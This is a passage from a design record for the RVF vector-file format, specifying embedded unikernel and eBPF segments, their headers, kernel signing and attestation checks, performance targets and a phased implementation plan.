enum\n0x2A 2 api_port Default API port (network byte order)\n0x2C 4 api_version Supported RVF query API version\n0x30 32 image_hash SHAKE-256-256 of uncompressed kernel image\n0x50 16 build_id Unique build identifier (UUID v7)\n0x60 8 build_timestamp Build time (nanosecond UNIX timestamp)\n0x68 4 vcpu_count Recommended vCPU count (0 = single)\n0x6C 4 reserved_0 Reserved (must be zero)\n0x70 8 cmdline_offset Offset to kernel command line within payload\n0x78 4 cmdline_length Length of kernel command line (bytes)\n0x7C 4 reserved_1 Reserved (must be zero)\n```\n\n### Architecture Enum (u8)\n\n```\nValue Name Description\n----- ---- -----------\n0x00 x86_64 AMD64 / Intel 64\n0x01 aarch64 ARM 64-bit (ARMv8-A and later)\n0x02 riscv64 RISC-V 64-bit (RV64GC)\n0xFE universal Architecture-independent (e.g., interpreted)\n0xFF unknown Reserved / unspecified\n```\n\n### Kernel Type Enum (u8)\n\n```\nValue Name Description\n----- ---- -----------\n0x00 hermit Hermit OS unikernel (Rust-native)\n0x01 micro_linux Minimal Linux kernel (bzImage compatible)\n0x02 asterinas Asterinas framekernel (Linux ABI compatible)\n0x03 wasi_preview2 WASI Preview 2 component (alternative to WASM_SEG)\n0x04 custom Custom kernel (requires external VMM knowledge)\n0xFE test_stub Test stub for CI (boots, reports health, exits)\n0xFF reserved Reserved\n```\n\n### Kernel Flags (u32 bitfield)\n\n```\nBit Name Description\n--- ---- -----------\n0 REQUIRES_TEE Kernel must run inside a TEE enclave\n1 REQUIRES_KVM Kernel requires KVM (hardware virtualization)\n2 REQUIRES_UEFI Kernel requires UEFI boot (not raw bzImage)\n3 HAS_NETWORKING Kernel includes network stack\n4 HAS_QUERY_API Kernel exposes RVF query API on api_port\n5 HAS_INGEST_API Kernel exposes RVF ingest API\n6 HAS_ADMIN_API Kernel exposes health/metrics API\n7 ATTESTATION_READY Kernel can generate TEE attestation quotes\n8 SIGNED Kernel image is signed (SignatureFooter follows)\n9 MEASURED Kernel measurement stored in WITNESS_SEG\n10 COMPRESSED Image is compressed (per compression field)\n11 RELOCATABLE Kernel is position-independent\n12 HAS_VIRTIO_NET Kernel includes VirtIO network driver\n13 HAS_VIRTIO_BLK Kernel includes VirtIO block driver\n14 HAS_VSOCK Kernel includes VSOCK for host communication\n15-31 reserved Reserved (must be zero)\n```\n\n### API Transport Enum (u8)\n\n```\nValue Name Description\n----- ---- -----------\n0x00 tcp_http HTTP/1.1 over TCP (default)\n0x01 tcp_grpc gRPC over TCP (HTTP/2)\n0x02 vsock VirtIO socket (Firecracker host<->guest)\n0x03 shared_mem Shared memory region (for same-host co-location)\n0xFF none No network API (batch mode only)\n```\n\n### Payload Layout\n\n```\n[SegmentHeader: 64 bytes]\n[KernelHeader: 128 bytes]\n[Kernel command line: cmdline_length bytes, NUL-terminated, padded to 8-byte boundary]\n[Compressed kernel image: compressed_size bytes]\n[Optional: SignatureFooter if SIGNED flag is set]\n```\n\nThe kernel image is compressed with the algorithm specified in `KernelHeader.compression`. ZSTD is the recommended default for kernel images due to its high compression ratio at fast decompression speeds (~1.5 GB/s). A 400 KB Hermit unikernel compresses to approximately 150-200 KB with ZSTD level 3.\n\n### Signing\n\nWhen the `SIGNED` flag is set, a SignatureFooter (identical to the existing RVF SignatureFooter format) is appended after the compressed kernel image. The signature covers the concatenation of:\n\n```\nsigned_data = KernelHeader || cmdline_bytes || compressed_image\n```\n\nThe same ML-DSA-65 or Ed25519 keys used for CRYPTO_SEG segment signing can sign KERNEL_SEG. This means a single key pair attests both the data and the runtime, providing end-to-end integrity from a single trust root.\n\n## EBPF_SEG Wire Format\n\n### EbpfHeader (64 bytes, repr(C))\n\n```\nOffset Size Field Description\n------ ---- ----- -----------\n0x00 4 ebpf_magic Magic: 0x52564250 (\"RVBP\")\n0x04 2 header_version EbpfHeader format version (currently 1)\n0x06 1 program_type eBPF program type enum\n0x07 1 attach_type eBPF attach point enum\n0x08 4 program_flags Bitfield flags\n0x0C 2 insn_count Number of BPF instructions (max 65535)\n0x0E 2 max_dimension Maximum vector dimension this program handles\n0x10 8 program_size ELF object size (bytes)\n0x18 4 map_count Number of BPF maps defined\n0x1C 4 btf_size BTF (BPF Type Format) section size\n0x20 32 program_hash SHAKE-256-256 of the ELF object\n```\n\n### eBPF Program Type Enum (u8)\n\n```\nValue Name Description\n----- ---- -----------\n0x00 xdp_distance XDP program for distance computation on packets\n0x01 tc_filter TC classifier for query routing\n0x02 socket_filter Socket filter for query preprocessing\n0x03 tracepoint Tracepoint for performance monitoring\n0x04 kprobe Kprobe for dynamic instrumentation\n0x05 cgroup_skb Cgroup socket buffer filter\n0xFF custom Custom program type\n```\n\n### eBPF Attach Type Enum (u8)\n\n```\nValue Name Description\n----- ---- -----------\n0x00 xdp_ingress XDP hook on NIC ingress\n0x01 tc_ingress TC ingress qdisc\n0x02 tc_egress TC egress qdisc\n0x03 socket_filter Socket filter attachment\n0x04 cgroup_ingress Cgroup ingress\n0x05 cgroup_egress Cgroup egress\n0xFF none No automatic attachment\n```\n\n### Payload Layout\n\n```\n[SegmentHeader: 64 bytes]\n[EbpfHeader: 64 bytes]\n[BPF ELF object: program_size bytes]\n[BTF section: btf_size bytes (if btf_size > 0)]\n[Map definitions: map_count * 32 bytes]\n[Optional: SignatureFooter if SIGNED flag in SegmentHeader]\n```\n\n## Execution Model\n\n### Tier 1: WASM Microkernel (Existing)\n\nNo changes. The existing 5.5 KB WASM microkernel in WASM_SEG continues to serve as the portable compute layer for browsers, edge devices, and Cognitum tiles. WASM provides the widest deployment reach with the smallest footprint.\n\n### Tier 2: eBPF Fast Path\n\nThe eBPF tier accelerates the hot path for Linux-hosted deployments:\n\n1. **Loader** reads EBPF_SEG from the RVF file.\n2. **Verifier** (kernel BPF verifier) validates the program.\n3. **JIT** compiles to native code.\n4. **Attach** to the specified hook point (XDP, TC, tracepoint).\n5. **BPF maps** are populated with hot vectors from HOT_SEG.\n6. **Query path**: Incoming packets hit the XDP/TC program, which computes distances against the hot vector cache in BPF map memory. Queries that can be satisfied from the hot cache return immediately from kernel space (bypassing all userspace overhead). Cache misses are passed to userspace for full HNSW traversal.\n\nThis creates a two-level query architecture:\n- **L0 (kernel)**: eBPF program + BPF map hot cache. Sub-microsecond for cache hits.\n- **L1 (userspace)**: Full RVF runtime for cache misses. Standard HNSW latency.\n\nThe temperature model in SKETCH_SEG determines which vectors are promoted to the eBPF L0 cache.\n\n### Tier 3: Unikernel Self-Boot\n\nThe unikernel tier makes the RVF file a self-contained microservice:\n\n1. **Launcher** (rvf-launch CLI or library) reads the KERNEL_SEG and MANIFEST_SEG.\n2. **Decompression**: The ZSTD-compressed kernel image is decompressed.\n3. **Verification**: The kernel image hash is verified against `KernelHeader.image_hash`. If SIGNED, the SignatureFooter is verified. If MEASURED, the measurement in WITNESS_SEG is cross-checked.\n4. **VMM setup**: Firecracker (or Uhyve, or Cloud Hypervisor) is configured:\n - vCPUs: `KernelHeader.vcpu_count` (default 1)\n - Memory: `KernelHeader.min_memory_mb` (default 32 MiB)\n - Kernel: decompressed image\n - Boot args: kernel command line from payload\n - Block device: the .rvf file itself (read-only virtio-blk)\n - Network: virtio-net or vsock per `api_transport`\n5. **Boot**: The VMM starts the kernel. The unikernel:\n a. Initializes with a minimal runtime (no init system, no systemd).\n b. Memory-maps the .rvf file from the virtio-blk device.\n c. Reads the Level 0 manifest (4 KB at EOF) for instant hotset access.\n d. Starts the query API on the configured port/transport.\n e. Begins background progressive index loading (Level 1, Layer B, Layer C).\n6. **Ready signal**: The kernel sends a health check response on `api_port`, or a VSOCK notification to the host.\n\n**Boot timeline (target)**:\n\n```\nT+0 ms VMM creates microVM\nT+5 ms Kernel image loaded into guest memory\nT+50 ms Kernel init complete, virtio drivers up\nT+55 ms .rvf file memory-mapped, Level 0 parsed\nT+60 ms Hot cache loaded, entry points available\nT+80 ms Query API listening on api_port\nT+125 ms Ready signal sent to host\nT+500 ms Layer B loaded (background)\nT+2000 ms Layer C loaded, full recall available\n```\n\n### Minimum Viable Kernel Profile\n\nThe first bootable KERNEL_SEG MUST implement only:\n\n1. **Read-only query API** \u2014 k-NN search over embedded vectors\n2. **Health endpoint** \u2014 Returns 200 when boot is complete and index is loaded\n3. **Metrics read** \u2014 Basic counters (queries served, latency p50/p99, uptime)\n\nExcluded from the minimum profile (added via KernelFlags):\n- Ingest (live vector insertion) \u2014 requires `INGEST_ENABLED` flag\n- Admin API (compaction, config changes) \u2014 requires `ADMIN_ENABLED` flag\n- Streaming protocol \u2014 requires `STREAMING_ENABLED` flag\n\nThis ensures the smallest possible TCB for the initial bootable artifact. Ingest into a self-booting RVF is handled by default via a separate signed update segment (OVERLAY_SEG), not live mutation inside the microVM. Live ingest may be enabled explicitly when the deployment model requires it.\n\n### Cross-Tier Cooperation\n\nA single RVF file can embed all three tiers. The runtime selects the appropriate tier based on the deployment context:\n\n```\n.rvf file\n |\n +-- WASM_SEG -> Browser / IoT / tile (always available)\n +-- EBPF_SEG -> Linux kernel fast path (optional, requires CAP_BPF)\n +-- KERNEL_SEG -> Self-booting service (optional, requires VMM)\n +-- VEC_SEG -> Vector data (always present)\n +-- INDEX_SEG -> HNSW index (always present)\n +-- ...other segments as needed\n```\n\nOn a Linux host with Firecracker, the launcher can:\n1. Boot the KERNEL_SEG as a microVM.\n2. Load EBPF_SEG into the host kernel for the L0 hot cache.\n3. Route queries: eBPF handles hot-path hits, microVM handles misses.\n\nIn a browser, only the WASM_SEG is used; KERNEL_SEG and EBPF_SEG are ignored.\n\n### Authority Boundary: Host eBPF vs. Guest Kernel\n\nWhen Tier 2 (eBPF) and Tier 3 (unikernel) operate simultaneously on the same file:\n\n- The **guest kernel** is the authoritative query engine. It owns authentication, rate limiting, audit logging, and witness chain emission.\n- The **host eBPF** is an acceleration layer only. It serves cache hits from BPF maps but MUST NOT finalize results without a guest-signed witness record.\n- For cache misses, the eBPF program forwards the query to the guest via virtio-vsock. The guest computes the result, emits a witness entry, and returns the response.\n- The eBPF program MUST NOT emit witness entries or modify the witness chain.\n\nThis rule prevents split-brain policies and ensures a single complete audit trail regardless of which tier served the query.\n\n## Security Model\n\n### Kernel Image Integrity\n\nEvery KERNEL_SEG image MUST be integrity-protected by at least one of:\n\n1. **Content hash** (mandatory): `KernelHeader.image_hash` contains the SHAKE-256-256 digest of the uncompressed kernel image. The launcher verifies this before booting.\n2. **Cryptographic signature** (recommended): A SignatureFooter with ML-DSA-65 or Ed25519 over the kernel header + command line + compressed image.\n3. **TEE measurement** (for confidential computing): A `MEASURED` WITNESS_SEG record containing the kernel's expected measurement (MRENCLAVE for SGX, launch digest for SEV-SNP/TDX).\n\n### Attestation Binding (KERNEL_SEG + WITNESS_SEG)\n\nFor confidential computing deployments, KERNEL_SEG and WITNESS_SEG cooperate:\n\n```\nKERNEL_SEG:\n image_hash = H(kernel_image)\n flags: REQUIRES_TEE | ATTESTATION_READY | MEASURED\n\nWITNESS_SEG (witness_type = 0x10, KERNEL_ATTESTATION):\n measurement: Expected TEE measurement of the kernel\n nonce: Anti-replay nonce\n sig_key_id: Reference to signing key in CRYPTO_SEG\n evidence: Platform-specific attestation quote\n\nVerification chain:\n 1. Verify KERNEL_SEG.image_hash matches H(decompressed image)\n 2. Verify KERNEL_SEG SignatureFooter against CRYPTO_SEG key\n 3. Boot kernel inside TEE\n 4. Kernel generates attestation quote\n 5. Verify quote.measurement == WITNESS_SEG.measurement\n 6. Verify quote.measurement == H(loaded kernel image)\n -> Data + runtime + TEE form a single measured trust chain\n```\n\n### Verification Algorithm\n\nA compliant launcher MUST execute these steps in order, failing closed on any error:\n\n1. Read KERNEL_SEG header. Decompress kernel image.\n2. Compute SHAKE-256-256 of decompressed bytes. Compare to `image_hash`. **FAIL** if mismatch.\n3. If `SIGNED` flag is set: locate SignatureFooter. Verify signature over (KernelHeader || compressed_image). **FAIL** if signature missing or invalid.\n4. If `SIGNED` flag is NOT set but launcher policy requires signing: **FAIL** (refuse unsigned kernels in production).\n5. If `REQUIRES_TEE` flag is set: verify current environment is a TEE. **FAIL** if running outside enclave/VM.\n6. If `MEASURED` flag is set: locate corresponding WITNESS_SEG record with `witness_type = KERNEL_ATTESTATION (0x10)`. Verify `action_hash` matches `image_hash`. **FAIL** if no matching witness or hash mismatch.\n7. Boot kernel. Wait for health endpoint. **FAIL** if health not ready within boot timeout.\n\nFailure at any step is fatal. The launcher MUST NOT serve queries from an unverified kernel.\n\n### eBPF Safety\n\neBPF programs in EBPF_SEG are verified by the Linux kernel's BPF verifier before execution. This provides:\n\n- **Termination guarantee**: No unbounded loops.\n- **Memory safety**: All memory accesses are bounds-checked.\n- **Privilege separation**: Programs run with restricted capabilities.\n- **No kernel crashes**: A verified eBPF program cannot panic or fault the kernel.\n\nAdditionally, EBPF_SEG images are hash-verified (`EbpfHeader.program_hash`) and optionally signed, preventing injection of malicious programs.\n\n### eBPF Dimension Constraint\n\nThe `max_dimension` field in EbpfHeader declares the maximum vector dimension the program can process. The eBPF verifier requires bounded loops, so each distance computation program is compiled for a fixed maximum dimension.\n\nThe loader MUST reject an EBPF_SEG whose `max_dimension` is less than the file's vector dimension. This prevents loading incompatible programs that would produce incorrect results or verifier failures.\n\nRecommended maximum: 2048 dimensions per eBPF program. For higher dimensions, use Tier 1 (WASM) or Tier 3 (unikernel) which have no loop bound constraints.\n\n### Sandbox Boundaries\n\n| Tier | Sandbox | Escape Risk | Mitigation |\n|------|---------|-------------|------------|\n| WASM | WASM VM (linear memory) | Very Low | Proven isolation model |\n| eBPF | BPF verifier + JIT | Very Low | Kernel-enforced bounds |\n| Unikernel | VMM (Firecracker/KVM) | Low | Hardware virtualization (VT-x/AMD-V) |\n| TEE | Hardware enclave | Very Low | Silicon-level isolation |\n\n### Supply Chain\n\nKernel images in KERNEL_SEG SHOULD be reproducibly built. The `build_id` (UUID v7) and `build_timestamp` enable tracing a kernel image back to its exact source revision and build environment. Signing with ML-DSA-65 provides post-quantum resistance for the kernel supply chain.\n\n### Reference Implementation\n\nThe reference kernel type is **Hermit OS** (https://hermit-os.org/). The build pipeline:\n\n1. Source: `hermit-os/kernel` repository at a pinned git tag\n2. Build: `cargo build --target x86_64-unknown-hermit --release`\n3. Link: Application (`rvf-runtime` compiled as unikernel) links against Hermit kernel library\n4. Compress: `zstd -19` on the resulting ELF binary\n5. Embed: `rvf embed-kernel --arch x86_64 --type hermit mydata.rvf`\n\nThe build MUST be reproducible: same source + same Rust toolchain = identical `image_hash`. This is enforced by pinning the Rust toolchain version in `rust-toolchain.toml` and recording the `build_id` (UUID v7) in KernelHeader.\n\n### Signing Algorithm Selection\n\n| Context | Algorithm | Rationale |\n|---------|-----------|-----------|\n| Developer iteration, CI builds | Ed25519 | Fast (us), small signatures (64 bytes), existing key infrastructure |\n| Published releases, public distribution | ML-DSA-65 (FIPS 204) | Post-quantum resistance, NIST standardized |\n| Migration period | Dual (Ed25519 + ML-DSA-65) | SignatureFooter supports a signature list; verifiers accept either |\n| After cutover (configurable date) | ML-DSA-65 only | Files with `REQUIRES_PQ` flag reject Ed25519-only signatures |\n\nThis matches ADR-029's key authority model and ensures backward compatibility during the post-quantum transition.\n\n## Backward Compatibility\n\n### KERNEL_SEG and EBPF_SEG are fully optional\n\nFiles without these segments work exactly as they do today. The new segment types use previously unassigned discriminator values (0x0E and 0x0F), which existing readers will skip as unknown segments per the RVF forward-compatibility rule: \"Unknown segment types MUST be skipped by readers that do not understand them.\"\n\n### Level 0 Root Manifest Extension\n\nThe Level0Root reserved area (offset 0xF00, 252 bytes) contains a KernelPtr (16 bytes) at offset 0xF44:\n\n```\nOffset Size Field Description\n------ ---- ----- -----------\n0xF44 8 kernel_seg_offset Byte offset to first KERNEL_SEG (0 if absent)\n0xF4C 4 kernel_seg_length Byte length of KERNEL_SEG payload\n0xF50 4 kernel_flags_hint Copy of KernelHeader.kernel_flags for fast scanning\n```\n\nOld readers see zeros at these offsets and continue working normally. New readers check `kernel_seg_offset != 0` to determine if the file is self-booting.\n\n### SegmentType Registry Update\n\nAll computational segment types are now implemented in `rvf-types/src/segment_type.rs`:\n\n```rust\n#[repr(u8)]\npub enum SegmentType {\n // ... existing types 0x00 - 0x0D ...\n /// Embedded kernel / unikernel image for self-booting.\n Kernel = 0x0E,\n /// Embedded eBPF program for kernel fast path.\n Ebpf = 0x0F,\n /// Embedded WASM bytecode for self-bootstrapping execution.\n Wasm = 0x10,\n // ... COW segments 0x20-0x23 (ADR-031) ...\n // ... Domain expansion segments 0x30-0x32 ...\n}\n```\n\nThe full registry (23 types) is documented in ADR-029. Available ranges: 0x11-0x1F, 0x24-0x2F, 0x33-0xEF. Values 0xF0-0xFF remain reserved.\n\n## Performance Targets\n\n| Metric | Target | Measurement |\n|--------|--------|-------------|\n| KERNEL_SEG decompression | <10 ms for 2 MB image | ZSTD streaming decompression benchmark |\n| Firecracker boot to init | <50 ms | Firecracker metrics (API socket ready) |\n| Kernel init to API ready | <75 ms | Time from init to first successful health check |\n| Total cold start (file to API) | <125 ms | End-to-end: read segment, decompress, boot, serve |\n| First query after boot | <200 ms | Time to first non-error query response |\n| Full recall available | <2 s | Time until Layer C loaded and recall@10 >= 0.95 |\n| eBPF load + verify | <20 ms | Time from read to attached + serving |\n| eBPF hot-path query | <10 us | BPF map lookup + distance compute |\n| Kernel image size (Hermit) | <400 KB uncompressed | Minimal query-serving unikernel |\n| Kernel image size (micro-Linux) | <2 MB uncompressed | bzImage with minimal initramfs |\n| KERNEL_SEG overhead | <200 KB compressed | ZSTD level 3 on Hermit image |\n| Memory footprint (unikernel) | <32 MiB | Firecracker guest memory for 1M vectors |\n\n## Implementation Phases\n\n### Phase 1: Segment Types and Headers (rvf-types)\n\n**Duration**: 1 week\n**Status**: **Complete** (as of 2026-02-16)\n\n**Implementation notes**:\n- `SegmentType::Kernel = 0x0E`, `SegmentType::Ebpf = 0x0F`, and `SegmentType::Wasm = 0x10` are all defined in `rvf-types/src/segment_type.rs` with `TryFrom` round-trip support and unit tests.\n- The `rvf-runtime` write path (`write_path.rs`) implements `write_kernel_seg()` and `write_ebpf_seg()` methods that accept raw header byte arrays, with round-trip tests.\n- **`KernelHeader`** (128-byte `repr(C)` struct) is fully implemented in `rvf-types/src/kernel.rs` with:\n - `KernelArch` enum (X86_64, Aarch64, Riscv64, Universal, Unknown) with `TryFrom`\n - `KernelType` enum (Hermit, MicroLinux, Asterinas, WasiPreview2, Custom, TestStub) with `TryFrom`\n - `ApiTransport` enum (TcpHttp, TcpGrpc, Vsock, SharedMem, None) with `TryFrom`\n - 15 `KERNEL_FLAG_*` bitfield constants (bits 0-14)\n - `to_bytes()` / `from_bytes()` serialization with compile-time size assertion\n - 12 tests: header size, magic, round-trip, bad magic, field offsets, enum round-trips, flag bit positions, api_port network byte order, reserved field zeroing\n- **`EbpfHeader`** (64-byte `repr(C)` struct) is fully implemented in `rvf-types/src/ebpf.rs` with:\n - `EbpfProgramType` enum (XdpDistance, TcFilter, SocketFilter, Tracepoint, Kprobe, CgroupSkb, Custom) with `TryFrom`\n - `EbpfAttachType` enum (XdpIngress, TcIngress, TcEgress, SocketFilter, CgroupIngress, CgroupEgress, None) with `TryFrom`\n - `to_bytes()` / `from_bytes()` serialization with compile-time size assertion\n - 10 tests: header size, magic, round-trip, bad magic, field offsets, enum round-trips, max_dimension, large program size\n- **`WasmHeader`** (64-byte `repr(C)` struct) is fully implemented in `rvf-types/src/wasm_bootstrap.rs` with:\n - `WasmRole` enum (Microkernel, Interpreter, Combined, Extension, ControlPlane) with `TryFrom`\n - `WasmTarget` enum (Wasm32, WasiP1, WasiP2, Browser, BareTile) with `TryFrom`\n - 8 `WASM_FEAT_*` bitfield constants\n - `to_bytes()` / `from_bytes()` serialization with compile-time size assertion\n - 10 tests\n- All types are exported from `rvf-types/src/lib.rs`.\n\n**Deliverables**:\n- [x] Add `Kernel = 0x0E` and `Ebpf = 0x0F` to `SegmentType` enum\n- [x] Add `Wasm = 0x10` to `SegmentType` enum\n- [x] Define `KernelHeader` (128-byte repr(C) struct) with compile-time size assertion\n- [x] Define `EbpfHeader` (64-byte repr(C) struct) with compile-time size assertion\n- [x] Define `WasmHeader` (64-byte repr(C) struct) with compile-time size assertion\n- [x] Define architecture, kernel type, transport, and program type enums\n- [x] Define kernel flags (15 bits) and WASM feature flags (8 bits)\n- [ ] Add `KernelPtr` to Level0Root reserved area\n- [x] Unit tests for all new types, field offsets, and round-trips (32+ tests)\n\n**Preconditions**: rvf-types crate exists and compiles (satisfied)\n**Success criteria**: `cargo test -p rvf-types` passes, all new structs have offset tests -- **MET**\n\n### Phase 2: eBPF Program Embedding + Extraction (rvf-ebpf)\n\n**Duration**: 2 weeks\n**Deliverables**:\n- New crate `rvf-ebpf` with EBPF_SEG codec (read/write)\n- BPF ELF parser (extract program, maps, BTF sections)\n- Integration with Aya for program loading and map population\n- Hot vector cache loader (HOT_SEG vectors into BPF hash map)\n- XDP distance computation program template (L2, cosine)\n- Integration test: load EBPF_SEG, attach to test interface, verify distance computation\n\n**Preconditions**: Phase 1 complete, Linux kernel >= 5.15 for BTF support\n**Success criteria**: eBPF program loads from EBPF_SEG, computes correct L2 distances on test packets\n\n### Phase 3: Hermit/RustyHermit Unikernel Integration (rvf-kernel)\n\n**Duration**: 3 weeks\n**Deliverables**:\n- New crate `rvf-kernel` with KERNEL_SEG codec (read/write)\n- Hermit-based query server application (links against hermit-kernel)\n - VirtIO block driver for reading .rvf file\n - Minimal HTTP server (query + health endpoints)\n - RVF manifest parser and progressive loader\n - Distance computation using Hermit's SIMD support\n- KERNEL_SEG builder: compile Hermit app, ZSTD compress, embed in segment\n- KERNEL_SEG extractor: read segment, verify hash, decompress\n- CI build pipeline for Hermit kernel images (x86_64, aarch64)\n\n**Preconditions**: Phase 1 complete, Hermit toolchain set up\n**Success criteria**: Hermit kernel image < 400 KB, compresses to < 200 KB, boots in QEMU\n\n### Phase 4: Firecracker Launcher (rvf-launch)\n\n**Duration**: 2 weeks\n**Deliverables**:\n- New crate `rvf-launch` (CLI + library)\n- Firecracker microVM configuration generator\n- Kernel extraction, decompression, and verification pipeline\n- VirtIO block device setup (pass .rvf file as read-only disk)\n- Network configuration (virtio-net or vsock)\n- Health check polling (wait for API ready signal)\n- Graceful shutdown (SIGTERM to microVM)\n- CLI: `rvf launch mydata.rvf` -- boots and serves\n- Integration test: launch .rvf in Firecracker, query via HTTP, verify results\n\n**Preconditions**: Phase 3 complete, Firecracker binary available\n**Success criteria**: `rvf launch` boots .rvf file in < 125 ms, first query responds correctly\n\n### Phase 5: TEE Attestation Binding (KERNEL_SEG + WITNESS_SEG)\n\n**Duration**: 3 weeks\n**Deliverables**:\n- New witness type `KERNEL_ATTESTATION (0x10)` in WITNESS_SEG\n- Attestation flow: kernel generates quote, verifier checks measurement chain\n- SGX integration (DCAP remote attestation)\n- SEV-SNP integration (guest attestation report)\n- TDX integration (TD report)\n- Cross-check: `KERNEL_SEG.image_hash == measured_image_in_quote`\n- End-to-end test: boot in simulated TEE (SoftwareTee), verify attestation chain\n- Documentation: threat model, trust boundaries, measurement lifecycle\n\n**Preconditions**: Phase 4 complete, TEE hardware or simulation available\n**Success criteria**: Full attestation chain verified in CI with SoftwareTee; manual verification on real SGX/SEV-SNP hardware\n\n## GOAP Plan\n\n### World State (Current \u2014 updated 2026-02-16)\n\n```yaml\nrvf_types_exists: true\nrvf_wire_exists: true\nrvf_manifest_exists: true\nrvf_runtime_exists: true\nrvf_wasm_exists: true\nrvf_crypto_exists: true\nsegment_types_count: 23 # 0x00-0x0D, 0x0E-0x10, 0x20-0x23, 0x30-0x32\nkernel_seg_defined: true # SegmentType::Kernel = 0x0E\nebpf_seg_defined: true # SegmentType::Ebpf = 0x0F\nwasm_seg_defined: true # SegmentType::Wasm = 0x10\nkernel_header_defined: true # KernelHeader (128B repr(C)) in kernel.rs\nebpf_header_defined: true # EbpfHeader (64B repr(C)) in ebpf.rs\nwasm_header_defined: true # WasmHeader (64B repr(C)) in wasm_bootstrap.rs\nagi_container_defined: true # AgiContainerHeader (64B repr(C)) in agi_container.rs\ndomain_expansion_types: true # TransferPrior, PolicyKernel, CostCurve segments\nkernel_seg_codec: false\nebpf_seg_codec: false\nhermit_kernel_built: false\nebpf_program_built: false\nfirecracker_launcher: false\ntee_attestation_binding: false\nself_booting_rvf: false\n```\n\n### Goal State\n\n```yaml\nkernel_seg_defined: true\nebpf_seg_defined: true\nkernel_header_defined: true\nebpf_header_defined: true\nkernel_seg_codec: true\nebpf_seg_codec: true\nhermit_kernel_built: true\nebpf_program_built: true\nfirecracker_launcher: true\ntee_attestation_binding: true\nself_booting_rvf: true\n```\n\n### Actions\n\n```\nAction: define_segment_types\n Preconditions: [rvf_types_exists]\n Effects: [kernel_seg_defined, ebpf_seg_defined]\n Cost: 1\n\nAction: define_kernel_header\n Preconditions: [kernel_seg_defined]\n Effects: [kernel_header_defined]\n Cost: 2\n\nAction: define_ebpf_header\n Preconditions: [ebpf_seg_defined]\n Effects: [ebpf_header_defined]\n Cost: 2\n\nAction: build_kernel_codec\n Preconditions: [kernel_header_defined, rvf_wire_exists]\n Effects: [kernel_seg_codec]\n Cost: 3\n\nAction: build_ebpf_codec\n Preconditions: [ebpf_header_defined, rvf_wire_exists]\n Effects: [ebpf_seg_codec]\n Cost: 3\n\nAction: build_hermit_kernel\n Preconditions: [kernel_seg_codec, rvf_manifest_exists]\n Effects: [hermit_kernel_built]\n Cost: 8\n\nAction: build_ebpf_program\n Preconditions: [ebpf_seg_codec]\n Effects: [ebpf_program_built]\n Cost: 5\n\nAction: build_firecracker_launcher\n Preconditions: [hermit_kernel_built, kernel_seg_codec]\n Effects: [firecracker_launcher]\n Cost: 5\n\nAction: bind_tee_attestation\n Preconditions: [firecracker_launcher, rvf_crypto_exists]\n Effects: [tee_attestation_binding]\n Cost: 8\n\nAction: integrate_self_boot\n Preconditions: [firecracker_launcher, ebpf_program_built, tee_attestation_binding]\n Effects: [self_booting_rvf]\n Cost: 3\n```\n\n### Critical Path (A* optimal)\n\n```\ndefine_segment_types (1)\n -> define_kernel_header (2)\n -> build_kernel_codec (3)\n -> build_hermit_kernel (8)\n -> build_firecracker_launcher (5)\n -> bind_tee_attestation (8)\n -> integrate_self_boot (3)\n\nTotal cost on critical path: 30\n\nParallel path (eBPF, runs alongside kernel path):\n define_segment_types (1)\n -> define_ebpf_header (2)\n -> build_ebpf_codec (3)\n -> build_ebpf_program (5)\n -> [joins at integrate_self_boot]\n```\n\n### Milestones\n\n| Milestone | Phase | Success Criteria | Measurable |\n|-----------|-------|-----------------|------------|\n| **M1: Types defined** | 1 | `SegmentType::Kernel` and `SegmentType::Ebpf` compile, field offset tests pass | `cargo test -p rvf-types` green |\n| **M2: eBPF embeds** | 2 | EBPF_SEG round-trips through codec, eBPF program loads in kernel | BPF verifier accepts program from segment |\n| **M3: Hermit boots** | 3 | Hermit unikernel reads .rvf via virtio-blk, parses Level 0 manifest | Health endpoint returns 200 in QEMU |\n| **M4: Firecracker serves** | 4 | `rvf launch test.rvf` boots, query returns correct nearest neighbors | recall@10 >= 0.70 within 200 ms of boot |\n| **M5: TEE attested** | 5 | Attestation chain: file signature -> kernel measurement -> TEE quote verified | SoftwareTee CI test passes; manual SGX test passes |\n| **M6: Production ready** | All | All tiers work, performance targets met, documentation complete | All benchmarks meet targets in CI |\n\n## Consequences\n\n### Benefits\n\n1. **Zero-dependency deployment**: A single .rvf file boots and serves queries. No runtime installation, no container image pull, no package manager.\n2. **Minimal TCB for confidential computing**: The kernel image is cryptographically measured and attested. The trust chain covers both data and runtime.\n3. **Sub-125ms cold start**: Firecracker + unikernel eliminates the multi-second startup of traditional runtimes.\n4. **Kernel-level acceleration**: eBPF hot-path queries bypass userspace entirely for cache hits, achieving sub-10 us latency.\n5. **Architectural portability**: Kernel images for x86_64, aarch64, and riscv64 can coexist in the same file (multiple KERNEL_SEGs with different `arch` values).\n6. **Graceful degradation**: Files with KERNEL_SEG work as pure data files for readers that do not support self-booting. The computational capability is additive.\n7. **Post-quantum supply chain**: ML-DSA-65 signatures cover both data integrity and kernel integrity, providing quantum-resistant verification of the entire file.\n8. **Edge computing**: Air-gapped and disconnected environments can deploy vector search by transferring a single file.\n\n### Risks\n\n| Risk | Probability | Impact | Mitigation |\n|------|-------------|--------|------------|\n| Hermit kernel too large for practical embedding | Low | Medium | Budget is 2 MB; Hermit minimal builds are ~400 KB. Fallback to stripped micro-Linux. |\n| Firecracker not available on target platform | Medium | Medium | Provide alternative VMMs (Cloud Hypervisor, QEMU, Uhyve). KERNEL_SEG is VMM-agnostic. |\n| eBPF verifier rejects distance computation program | Low | Low | Use well-tested patterns; distance computation is a bounded loop with known iteration count. |\n| TEE hardware unavailable in CI | High | Low | SoftwareTee (0xFE) platform variant for CI testing. Manual verification on real hardware. |\n| Kernel image supply chain compromise | Low | Critical | Mandatory signing (ML-DSA-65). Reproducible builds. Build provenance via build_id. |\n| Specification complexity delays implementation | Medium | Medium | Phased implementation; each phase is independently useful. eBPF and kernel paths are parallel. |\n| WASM + eBPF + unikernel creates confusion about which tier to use | Medium | Low | Clear tier selection logic. Default to host runtime; self-boot is opt-in. |\n\n### Migration Path\n\n1. **No migration required**: Existing RVF files continue to work unchanged.\n2. **Opt-in**: Users who want self-booting add KERNEL_SEG via the `rvf-kernel` crate.\n3. **CLI tool**: `rvf embed-kernel --arch x86_64 --type hermit mydata.rvf` adds a KERNEL_SEG.\n4. **Build pipeline**: CI can produce \"bootable\" and \"data-only\" variants of the same .rvf file.\n\n## Related Decisions\n\n- **ADR-029** (RVF canonical format): Defines the segment model, wire format, and manifest structure that KERNEL_SEG and EBPF_SEG extend.\n- **ADR-005** 